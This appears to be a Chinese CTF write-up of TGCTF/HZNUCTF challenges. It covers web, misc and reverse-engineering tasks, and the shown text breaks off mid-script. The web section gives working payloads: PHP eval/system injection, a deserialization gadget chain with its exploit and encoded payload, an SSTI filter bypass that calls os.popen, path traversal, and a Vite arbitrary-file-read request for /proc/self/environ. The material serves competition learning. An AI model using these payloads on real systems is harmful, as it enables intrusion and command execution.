WEB

火眼辩魑魅

robots.txt找到几个文件,但是只有tgshell.php是可用文件,直接蚁剑连马找到flag

image-20250412091653102

image-20250412091658585

TGCTF{0f65fdf9-a7f6-f15b-43ff-8bca87267f2b}

AAA偷渡阴平

tgctf2025=eval(end(current(get_defined_vars())));&flag=system('tac /flag');

image-20250412095257676

TGCTF{5b419c90-6274-341f-ad9f-87c6af076d86}

直面天命

爆破找到路由/aazz,通过arjun找到参数名filename,filename=../../app.py获得源码如下

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list = ['{', '}', 'popen', 'os', 'import', 'eval', '_', 'system', 'read', 'base', 'globals']


def waf(name):
for x in black_list:
if x in name.lower():
return True
return False


def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars


@app.route('/')
def home():
return send_from_directory('static', 'index.html')


@app.route('/jingu', methods=['POST'])
def greet():
template1 = ""
template2 = ""
name = request.form.get('name')
template = f'{name}'

if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹\nImage'
else:
k = 0
for i in name:
if is_typable(i):
continue
k = 1
break
if k == 1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧\n\n再去西行历练历练\n\nImage'
return render_template_string(template)

template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”\n最后,如果你用了cat,就可以见到齐天大圣了\n"
template = template.replace("直面", "{{").replace("天命", "}}")

if "cat" in template:
template2 = '\n或许你这只叫天命人的猴子,真的能做到?\n\nImage'

try:
return template1 + render_template_string(template) + render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:\n{template}"
return error_message, 400


@app.route('/hint', methods=['GET'])
def hinter():
template = "hint:\n有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
return render_template_string(template)


@app.route('/aazz', methods=['GET'])
def finder():
filename = request.args.get('filename', '')
if filename == "":
return send_from_directory('static', 'file.html')
if not filename.replace('_', '').isalnum():
content = jsonify({'error': '只允许字母和数字!'}), 400
if os.path.isfile(filename):
try:
with open(filename, 'r') as file:
content = file.read()
return content
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': '路径不存在或者路径非法'}), 404


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

但是尝试读了下flag,直接就出flag

7d7b3fbd7193efe6f566317012dcd043

什么文件上传?

先看robots.txt,找到class.php,源码如下

<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard();
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better;
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]);
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

创建yesterday对象,其study属性为today对象,todaydoing属性为future对象。当反序列化时,yesterday的析构方法调用study->hard(),触发today__call方法,在计算md5时将doingfuture对象)转换为字符串,触发__toString执行命令。

exp如下

<?php
class yesterday {
public $study;
public function __construct() {
$this->study = new today();
}
}
class today {
public $doing;
public function __construct() {
$this->doing = new future();
}
}
class future {}
$y = new yesterday();
echo serialize($y);
?>
//O:9:"yesterday":1:{s:5:"study";O:5:"today":1:{s:5:"doing";O:6:"future":0:{}}}

结果五次base64加密后为Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA9

payload如下

GET:filename=Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NsWlVTbUZXUlRWUFZHMXpNVlpYU1hsaVIzQk9UVlZzTkZZeWRHOWpiVVpXVDBoa1VGSkdjRkJXYTJNMVkwWndSbGw2Vm1oTlYzaGFXVlJLYzFWSFJuSldWRXBoVmtVMVQxUnRjekZXVjBsNVlrZEdVMlZ0ZUROWFZ6QjRZVzFHVms5SVpGQlNSbkJRV1Zjd05XTkdaSFJPVm1ST1VqRktXbFV5TVRSVGJVWjBUMVJPVlUxcVZYZFVNV1JoVjFVeFJVMUVNRDA9.php
POST:wow=tac /flag

image-20250412134339403

TGCTF{e7ca9e0f-b86c-21cc-595d-27ac5d768611}

前端GAME

参考CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现-CSDN博客,尝试找根目录没结果,最后在环境变量找到flag

/proc/self/environ?.svg?.wasm?init

image-20250413095752014

TGCTF{d17f2dc0-347d-7be4-ca0e-9795c0199224}

天命复仇

先放payload:

天命""["\x5f\x5fcla""ss\x5f\x5f"]["\x5f\x5fba""se\x5f\x5f"]["\x5f\x5fsub""classes\x5f\x5f"]()[132]["\x5f\x5fin""it\x5f\x5f"]["\x5f\x5fglo""bals\x5f\x5f"]["po""pen"]("ls")["re""ad"]()难违

下划线用16进制绕,关键词用””拼接

首先需要找到os的索引在多少

img

然后在拼接语句,使用ls

img

最后再读取flag就可以了

TG_wordpress

在网上搜wordpress漏洞,运气好,翻文章试了一下编号,对了,TGCTF{CVE-2020-25213}

66906642C6C51E911AA68F6F0E3A22C6

前端GAME Plus

一样的payload

/proc/self/environ?.svg?.wasm?init

就能成功获得flag

image-20250413213020122

TGCTF{611d651b-1471-bc27-79f8-de04fc131b45}

MISC

next is the end

image-20250412094438100

vs一把梭

flag{so_great}

TeamGipsy&ctfer

要重置密码,开机的时候一直按住shirt就行,跟着文章操作,进入命令行后,查看桌面的mimi.txt,发现启动了docker

de562299c3e99c5f64039855cc5ab0a8

docker start TeamGipsyctf2
docker exec -it TeamGipsyctf2 /bin/bash
mysql -u root -p
password_is_me
show databaes;
use TeamGipsy;
show tables;
select * from TG;

fa0fffcaf9fc721b46c77f1ae981d483

HZNUCTF{0H!_YOu_are_really_the_TeamGipsy_ctfer}

Where_it_is(osint)

谷歌识图

img

然后访问旁边的台湾百事通

img

img

站台名为港墘

你的运气是好是坏?

从题目给的好运来以及说flag是1-99999999中的一个数字可以得出一个梗,也就是114514

img

RE

Base64

放IDA获得伪代码然后丢ai一把梭

table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
encoded_str = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="

# 去除填充等号
encoded = encoded_str.rstrip('=')

# 将每个字符转换为码表中的索引
indices = [table.index(c) for c in encoded]

# 计算原始6位值
x_values = [(i - 24) % 64 for i in indices]

# 填充到四的倍数
while len(x_values) % 4 != 0:
x_values.append(0)

bytes_list = []
for i in range(0, len(x_values), 4):
group = x_values[i:i+4]
if len(group) < 4:
group += [0] * (4 - len(group))

# 组合三个字节
b1 = (group[0] << 2) | (group[1] >> 4)
b2 = ((group[1] & 0x0F) << 4) | (group[2] >> 2)
b3 = ((group[2] & 0x03) << 6) | group[3]

bytes_list.extend([b1, b2, b3])

# 假设余数为2,截断最后一个字节
flag_part = bytes(bytes_list[:-1])

# 构造完整Flag
flag = flag_part.decode('latin1')
print(flag)

image-20250412230108840

HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

蛇年的本命语言

按照这个的方法获得pyc文件,网站反编译获得源码如下

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

from collections import Counter
print('Welcome to HZNUCTF!!!')
print('Plz input the flag:')
ooo0oOoooOOO0 = input()
oOO0OoOoo000 = Counter(ooo0oOoooOOO0)
O0o00 = ''.join((lambda .0: for oOooo0OOO in .0:
str(oOO0OoOoo000[oOooo0OOO]))(ooo0oOoooOOO0))
print('ans1: ', '', **('end',))
print(O0o00)
if O0o00 != '111111116257645365477364777645752361':
print('wrong_wrong!!!')
exit(1)
iiIII = ''
for oOooo0OOO in ooo0oOoooOOO0:
if oOO0OoOoo000[oOooo0OOO] > 0:
iiIII += oOooo0OOO + str(oOO0OoOoo000[oOooo0OOO])
oOO0OoOoo000[oOooo0OOO] = 0
i11i1Iii1I1 = (lambda .0: [ ord(oOooo0OOO) for oOooo0OOO in .0 ])(iiIII)
ii1iIi1i11i = [
7 * i11i1Iii1I1[0] == 504,
9 * i11i1Iii1I1[0] - 5 * i11i1Iii1I1[1] == 403,
(2 * i11i1Iii1I1[0] - 5 * i11i1Iii1I1[1]) + 10 * i11i1Iii1I1[2] == 799,
3 * i11i1Iii1I1[0] + 8 * i11i1Iii1I1[1] + 15 * i11i1Iii1I1[2] + 20 * i11i1Iii1I1[3] == 2938,
(5 * i11i1Iii1I1[0] + 15 * i11i1Iii1I1[1] + 20 * i11i1Iii1I1[2] - 19 * i11i1Iii1I1[3]) + 1 * i11i1Iii1I1[4] == 2042,
(7 * i11i1Iii1I1[0] + 1 * i11i1Iii1I1[1] + 9 * i11i1Iii1I1[2] - 11 * i11i1Iii1I1[3]) + 2 * i11i1Iii1I1[4] + 5 * i11i1Iii1I1[5] == 1225,
11 * i11i1Iii1I1[0] + 22 * i11i1Iii1I1[1] + 33 * i11i1Iii1I1[2] + 44 * i11i1Iii1I1[3] + 55 * i11i1Iii1I1[4] + 66 * i11i1Iii1I1[5] - 77 * i11i1Iii1I1[6] == 7975,
((21 * i11i1Iii1I1[0] + 23 * i11i1Iii1I1[1] + 3 * i11i1Iii1I1[2] + 24 * i11i1Iii1I1[3] - 55 * i11i1Iii1I1[4]) + 6 * i11i1Iii1I1[5] - 7 * i11i1Iii1I1[6]) + 15 * i11i1Iii1I1[7] == 229,
(2 * i11i1Iii1I1[0] + 26 * i11i1Iii1I1[1] + 13 * i11i1Iii1I1[2] + 0 * i11i1Iii1I1[3] - 65 * i11i1Iii1I1[4]) + 15 * i11i1Iii1I1[5] + 29 * i11i1Iii1I1[6] + 1 * i11i1Iii1I1[7] + 20 * i11i1Iii1I1[8] == 2107,
(10 * i11i1Iii1I1[0] + 7 * i11i1Iii1I1[1] + -9 * i11i1Iii1I1[2] + 6 * i11i1Iii1I1[3] + 7 * i11i1Iii1I1[4] + 1 * i11i1Iii1I1[5] + 22 * i11i1Iii1I1[6] + 21 * i11i1Iii1I1[7] - 22 * i11i1Iii1I1[8]) + 30 * i11i1Iii1I1[9] == 4037,
(15 * i11i1Iii1I1[0] + 59 * i11i1Iii1I1[1] + 56 * i11i1Iii1I1[2] + 66 * i11i1Iii1I1[3] + 7 * i11i1Iii1I1[4] + 1 * i11i1Iii1I1[5] - 122 * i11i1Iii1I1[6]) + 21 * i11i1Iii1I1[7] + 32 * i11i1Iii1I1[8] + 3 * i11i1Iii1I1[9] - 10 * i11i1Iii1I1[10] == 4950,
(((13 * i11i1Iii1I1[0] + 66 * i11i1Iii1I1[1] + 29 * i11i1Iii1I1[2] + 39 * i11i1Iii1I1[3] - 33 * i11i1Iii1I1[4]) + 13 * i11i1Iii1I1[5] - 2 * i11i1Iii1I1[6]) + 42 * i11i1Iii1I1[7] + 62 * i11i1Iii1I1[8] + 1 * i11i1Iii1I1[9] - 10 * i11i1Iii1I1[10]) + 11 * i11i1Iii1I1[11] == 12544,
(((23 * i11i1Iii1I1[0] + 6 * i11i1Iii1I1[1] + 29 * i11i1Iii1I1[2] + 3 * i11i1Iii1I1[3] - 3 * i11i1Iii1I1[4]) + 63 * i11i1Iii1I1[5] - 25 * i11i1Iii1I1[6]) + 2 * i11i1Iii1I1[7] + 32 * i11i1Iii1I1[8] + 1 * i11i1Iii1I1[9] - 10 * i11i1Iii1I1[10]) + 11 * i11i1Iii1I1[11] - 12 * i11i1Iii1I1[12] == 6585,
((((223 * i11i1Iii1I1[0] + 6 * i11i1Iii1I1[1] - 29 * i11i1Iii1I1[2] - 53 * i11i1Iii1I1[3] - 3 * i11i1Iii1I1[4]) + 3 * i11i1Iii1I1[5] - 65 * i11i1Iii1I1[6]) + 0 * i11i1Iii1I1[7] + 36 * i11i1Iii1I1[8] + 1 * i11i1Iii1I1[9] - 15 * i11i1Iii1I1[10]) + 16 * i11i1Iii1I1[11] - 18 * i11i1Iii1I1[12]) + 13 * i11i1Iii1I1[13] == 6893,
((((29 * i11i1Iii1I1[0] + 13 * i11i1Iii1I1[1] - 9 * i11i1Iii1I1[2] - 93 * i11i1Iii1I1[3]) + 33 * i11i1Iii1I1[4] + 6 * i11i1Iii1I1[5] + 65 * i11i1Iii1I1[6] + 1 * i11i1Iii1I1[7] - 36 * i11i1Iii1I1[8]) + 0 * i11i1Iii1I1[9] - 16 * i11i1Iii1I1[10]) + 96 * i11i1Iii1I1[11] - 68 * i11i1Iii1I1[12]) + 33 * i11i1Iii1I1[13] - 14 * i11i1Iii1I1[14] == 1883,
(((69 * i11i1Iii1I1[0] + 77 * i11i1Iii1I1[1] - 93 * i11i1Iii1I1[2] - 12 * i11i1Iii1I1[3]) + 0 * i11i1Iii1I1[4] + 0 * i11i1Iii1I1[5] + 1 * i11i1Iii1I1[6] + 16 * i11i1Iii1I1[7] + 36 * i11i1Iii1I1[8] + 6 * i11i1Iii1I1[9] + 19 * i11i1Iii1I1[10] + 66 * i11i1Iii1I1[11] - 8 * i11i1Iii1I1[12]) + 38 * i11i1Iii1I1[13] - 16 * i11i1Iii1I1[14]) + 15 * i11i1Iii1I1[15] == 8257,
((((23 * i11i1Iii1I1[0] + 2 * i11i1Iii1I1[1] - 3 * i11i1Iii1I1[2] - 11 * i11i1Iii1I1[3]) + 12 * i11i1Iii1I1[4] + 24 * i11i1Iii1I1[5] + 1 * i11i1Iii1I1[6] + 6 * i11i1Iii1I1[7] + 14 * i11i1Iii1I1[8] - 0 * i11i1Iii1I1[9]) + 1 * i11i1Iii1I1[10] + 68 * i11i1Iii1I1[11] - 18 * i11i1Iii1I1[12]) + 68 * i11i1Iii1I1[13] - 26 * i11i1Iii1I1[14]) + 15 * i11i1Iii1I1[15] - 16 * i11i1Iii1I1[16] == 5847,
(((((24 * i11i1Iii1I1[0] + 0 * i11i1Iii1I1[1] - 1 * i11i1Iii1I1[2] - 15 * i11i1Iii1I1[3]) + 13 * i11i1Iii1I1[4] + 4 * i11i1Iii1I1[5] + 16 * i11i1Iii1I1[6] + 67 * i11i1Iii1I1[7] + 146 * i11i1Iii1I1[8] - 50 * i11i1Iii1I1[9]) + 16 * i11i1Iii1I1[10] + 6 * i11i1Iii1I1[11] - 1 * i11i1Iii1I1[12]) + 69 * i11i1Iii1I1[13] - 27 * i11i1Iii1I1[14]) + 45 * i11i1Iii1I1[15] - 6 * i11i1Iii1I1[16]) + 17 * i11i1Iii1I1[17] == 18257,
((((25 * i11i1Iii1I1[0] + 26 * i11i1Iii1I1[1] - 89 * i11i1Iii1I1[2]) + 16 * i11i1Iii1I1[3] + 19 * i11i1Iii1I1[4] + 44 * i11i1Iii1I1[5] + 36 * i11i1Iii1I1[6] + 66 * i11i1Iii1I1[7] - 150 * i11i1Iii1I1[8] - 250 * i11i1Iii1I1[9]) + 166 * i11i1Iii1I1[10] + 126 * i11i1Iii1I1[11] - 11 * i11i1Iii1I1[12]) + 690 * i11i1Iii1I1[13] - 207 * i11i1Iii1I1[14]) + 46 * i11i1Iii1I1[15] + 6 * i11i1Iii1I1[16] + 7 * i11i1Iii1I1[17] - 18 * i11i1Iii1I1[18] == 12591,
(((((5 * i11i1Iii1I1[0] + 26 * i11i1Iii1I1[1] + 8 * i11i1Iii1I1[2] + 160 * i11i1Iii1I1[3] + 9 * i11i1Iii1I1[4] - 4 * i11i1Iii1I1[5]) + 36 * i11i1Iii1I1[6] + 6 * i11i1Iii1I1[7] - 15 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 66 * i11i1Iii1I1[10] + 16 * i11i1Iii1I1[11] - 1 * i11i1Iii1I1[12]) + 690 * i11i1Iii1I1[13] - 20 * i11i1Iii1I1[14]) + 46 * i11i1Iii1I1[15] + 6 * i11i1Iii1I1[16] + 7 * i11i1Iii1I1[17] - 18 * i11i1Iii1I1[18]) + 19 * i11i1Iii1I1[19] == 52041,
((((((29 * i11i1Iii1I1[0] - 26 * i11i1Iii1I1[1]) + 0 * i11i1Iii1I1[2] + 60 * i11i1Iii1I1[3] + 90 * i11i1Iii1I1[4] - 4 * i11i1Iii1I1[5]) + 6 * i11i1Iii1I1[6] + 6 * i11i1Iii1I1[7] - 16 * i11i1Iii1I1[8] - 21 * i11i1Iii1I1[9]) + 69 * i11i1Iii1I1[10] + 6 * i11i1Iii1I1[11] - 12 * i11i1Iii1I1[12]) + 69 * i11i1Iii1I1[13] - 20 * i11i1Iii1I1[14] - 46 * i11i1Iii1I1[15]) + 65 * i11i1Iii1I1[16] + 0 * i11i1Iii1I1[17] - 1 * i11i1Iii1I1[18]) + 39 * i11i1Iii1I1[19] - 20 * i11i1Iii1I1[20] == 20253,
(((((((45 * i11i1Iii1I1[0] - 56 * i11i1Iii1I1[1]) + 10 * i11i1Iii1I1[2] + 650 * i11i1Iii1I1[3] - 900 * i11i1Iii1I1[4]) + 44 * i11i1Iii1I1[5] + 66 * i11i1Iii1I1[6] - 6 * i11i1Iii1I1[7] - 6 * i11i1Iii1I1[8] - 21 * i11i1Iii1I1[9]) + 9 * i11i1Iii1I1[10] - 6 * i11i1Iii1I1[11] - 12 * i11i1Iii1I1[12]) + 69 * i11i1Iii1I1[13] - 2 * i11i1Iii1I1[14] - 406 * i11i1Iii1I1[15]) + 651 * i11i1Iii1I1[16] + 2 * i11i1Iii1I1[17] - 10 * i11i1Iii1I1[18]) + 69 * i11i1Iii1I1[19] - 0 * i11i1Iii1I1[20]) + 21 * i11i1Iii1I1[21] == 18768,
(((((555 * i11i1Iii1I1[0] - 6666 * i11i1Iii1I1[1]) + 70 * i11i1Iii1I1[2] + 510 * i11i1Iii1I1[3] - 90 * i11i1Iii1I1[4]) + 499 * i11i1Iii1I1[5] + 66 * i11i1Iii1I1[6] - 66 * i11i1Iii1I1[7] - 610 * i11i1Iii1I1[8] - 221 * i11i1Iii1I1[9]) + 9 * i11i1Iii1I1[10] - 23 * i11i1Iii1I1[11] - 102 * i11i1Iii1I1[12]) + 6 * i11i1Iii1I1[13] + 2050 * i11i1Iii1I1[14] - 406 * i11i1Iii1I1[15]) + 665 * i11i1Iii1I1[16] + 333 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 777 * i11i1Iii1I1[20] + 201 * i11i1Iii1I1[21] - 22 * i11i1Iii1I1[22] == 111844,
(((((((1 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 333 * i11i1Iii1I1[2] + 4444 * i11i1Iii1I1[3] - 5555 * i11i1Iii1I1[4]) + 6666 * i11i1Iii1I1[5] - 666 * i11i1Iii1I1[6]) + 676 * i11i1Iii1I1[7] - 660 * i11i1Iii1I1[8] - 22 * i11i1Iii1I1[9]) + 9 * i11i1Iii1I1[10] - 73 * i11i1Iii1I1[11] - 107 * i11i1Iii1I1[12]) + 6 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] - 6 * i11i1Iii1I1[15]) + 65 * i11i1Iii1I1[16] + 39 * i11i1Iii1I1[17] + 10 * i11i1Iii1I1[18] + 69 * i11i1Iii1I1[19] + 777 * i11i1Iii1I1[20] + 201 * i11i1Iii1I1[21] - 2 * i11i1Iii1I1[22]) + 23 * i11i1Iii1I1[23] == 159029,
(((520 * i11i1Iii1I1[0] - 222 * i11i1Iii1I1[1]) + 333 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 56655 * i11i1Iii1I1[4]) + 6666 * i11i1Iii1I1[5] + 666 * i11i1Iii1I1[6] + 66 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 220 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 73 * i11i1Iii1I1[11] + 1007 * i11i1Iii1I1[12] + 7777 * i11i1Iii1I1[13] + 2500 * i11i1Iii1I1[14] + 6666 * i11i1Iii1I1[15] + 605 * i11i1Iii1I1[16] + 390 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 99999 * i11i1Iii1I1[20] + 210 * i11i1Iii1I1[21] + 232 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24] == 2762025,
((((1323 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 333 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 55 * i11i1Iii1I1[4]) + 666 * i11i1Iii1I1[5] + 666 * i11i1Iii1I1[6] + 66 * i11i1Iii1I1[7] - 660 * i11i1Iii1I1[8] - 220 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 100 * i11i1Iii1I1[12] + 777 * i11i1Iii1I1[13] + 2500 * i11i1Iii1I1[14] + 6666 * i11i1Iii1I1[15] + 605 * i11i1Iii1I1[16] + 390 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 9999 * i11i1Iii1I1[20] + 210 * i11i1Iii1I1[21] + 232 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] == 1551621,
(((((777 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 6969 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 55 * i11i1Iii1I1[4]) + 666 * i11i1Iii1I1[5] - 6 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 220 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 100 * i11i1Iii1I1[12] + 777 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + 65 * i11i1Iii1I1[16] + 90 * i11i1Iii1I1[17] + 100 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 999 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 232 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] - 26 * i11i1Iii1I1[26] == 948348,
((((((97 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 6969 * i11i1Iii1I1[2] + 4 * i11i1Iii1I1[3] - 56 * i11i1Iii1I1[4]) + 96 * i11i1Iii1I1[5] - 6 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 10 * i11i1Iii1I1[12] + 707 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + -9 * i11i1Iii1I1[16] + 90 * i11i1Iii1I1[17] + -2 * i11i1Iii1I1[18] + 609 * i11i1Iii1I1[19] + 0 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 2 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 24 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] - 26 * i11i1Iii1I1[26]) + 27 * i11i1Iii1I1[27] == 777044,
(((((177 * i11i1Iii1I1[0] - 22 * i11i1Iii1I1[1]) + 699 * i11i1Iii1I1[2] + 64 * i11i1Iii1I1[3] - 56 * i11i1Iii1I1[4] - 96 * i11i1Iii1I1[5] - 66 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 60 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 10 * i11i1Iii1I1[12] + 707 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + -9 * i11i1Iii1I1[16] + 0 * i11i1Iii1I1[17] + -2 * i11i1Iii1I1[18] + 69 * i11i1Iii1I1[19] + 0 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 222 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 224 * i11i1Iii1I1[24]) + 25 * i11i1Iii1I1[25] - 26 * i11i1Iii1I1[26]) + 27 * i11i1Iii1I1[27] - 28 * i11i1Iii1I1[28] == 185016,
((((((77 * i11i1Iii1I1[0] - 2 * i11i1Iii1I1[1]) + 6 * i11i1Iii1I1[2] + 6 * i11i1Iii1I1[3] - 96 * i11i1Iii1I1[4] - 9 * i11i1Iii1I1[5] - 6 * i11i1Iii1I1[6]) + 96 * i11i1Iii1I1[7] - 0 * i11i1Iii1I1[8] - 20 * i11i1Iii1I1[9]) + 99 * i11i1Iii1I1[10] + 3 * i11i1Iii1I1[11] + 10 * i11i1Iii1I1[12] + 707 * i11i1Iii1I1[13] + 250 * i11i1Iii1I1[14] + 666 * i11i1Iii1I1[15] + -9 * i11i1Iii1I1[16] + 0 * i11i1Iii1I1[17] + -2 * i11i1Iii1I1[18] + 9 * i11i1Iii1I1[19] + 0 * i11i1Iii1I1[20] + 21 * i11i1Iii1I1[21] + 222 * i11i1Iii1I1[22] + 23 * i11i1Iii1I1[23] - 224 * i11i1Iii1I1[24]) + 26 * i11i1Iii1I1[25] - -58 * i11i1Iii1I1[26]) + 27 * i11i1Iii1I1[27] - 2 * i11i1Iii1I1[28]) + 29 * i11i1Iii1I1[29] == 130106]
if all(ii1iIi1i11i):
print('Congratulation!!!')
else:
print('wrong_wrong!!!')

然后ai脚本一把梭

#!/usr/bin/env python
# Version: Python 3.8

# Initialize i11i1Iii1I1 with 30 elements, odd indices known
i11i1Iii1I1 = [0] * 30
# Set known frequency ordinals based on first appearance positions
frequencies = [1, 1, 1, 1, 1, 1, 1, 1, 6, 2, 5, 7, 4, 3, 1] # From positions 0,1,2,3,4,5,6,7,8,9,10,11,13,15,35
for k in range(15):
i11i1Iii1I1[2 * k + 1] = ord(str(frequencies[k]))

# Define equations as lambda functions for left-hand side
equations = [
lambda v: 7 * v[0],
lambda v: 9 * v[0] - 5 * v[1],
lambda v: (2 * v[0] - 5 * v[1]) + 10 * v[2],
lambda v: 3 * v[0] + 8 * v[1] + 15 * v[2] + 20 * v[3],
lambda v: (5 * v[0] + 15 * v[1] + 20 * v[2] - 19 * v[3]) + 1 * v[4],
lambda v: (7 * v[0] + 1 * v[1] + 9 * v[2] - 11 * v[3]) + 2 * v[4] + 5 * v[5],
lambda v: 11 * v[0] + 22 * v[1] + 33 * v[2] + 44 * v[3] + 55 * v[4] + 66 * v[5] - 77 * v[6],
lambda v: ((21 * v[0] + 23 * v[1] + 3 * v[2] + 24 * v[3] - 55 * v[4]) + 6 * v[5] - 7 * v[6]) + 15 * v[7],
lambda v: (2 * v[0] + 26 * v[1] + 13 * v[2] + 0 * v[3] - 65 * v[4]) + 15 * v[5] + 29 * v[6] + 1 * v[7] + 20 * v[8],
lambda v: (10 * v[0] + 7 * v[1] - 9 * v[2] + 6 * v[3] + 7 * v[4] + 1 * v[5] + 22 * v[6] + 21 * v[7] - 22 * v[8]) + 30 * v[9],
lambda v: (15 * v[0] + 59 * v[1] + 56 * v[2] + 66 * v[3] + 7 * v[4] + 1 * v[5] - 122 * v[6]) + 21 * v[7] + 32 * v[8] + 3 * v[9] - 10 * v[10],
lambda v: (((13 * v[0] + 66 * v[1] + 29 * v[2] + 39 * v[3] - 33 * v[4]) + 13 * v[5] - 2 * v[6]) + 42 * v[7] + 62 * v[8] + 1 * v[9] - 10 * v[10]) + 11 * v[11],
lambda v: (((23 * v[0] + 6 * v[1] + 29 * v[2] + 3 * v[3] - 3 * v[4]) + 63 * v[5] - 25 * v[6]) + 2 * v[7] + 32 * v[8] + 1 * v[9] - 10 * v[10]) + 11 * v[11] - 12 * v[12],
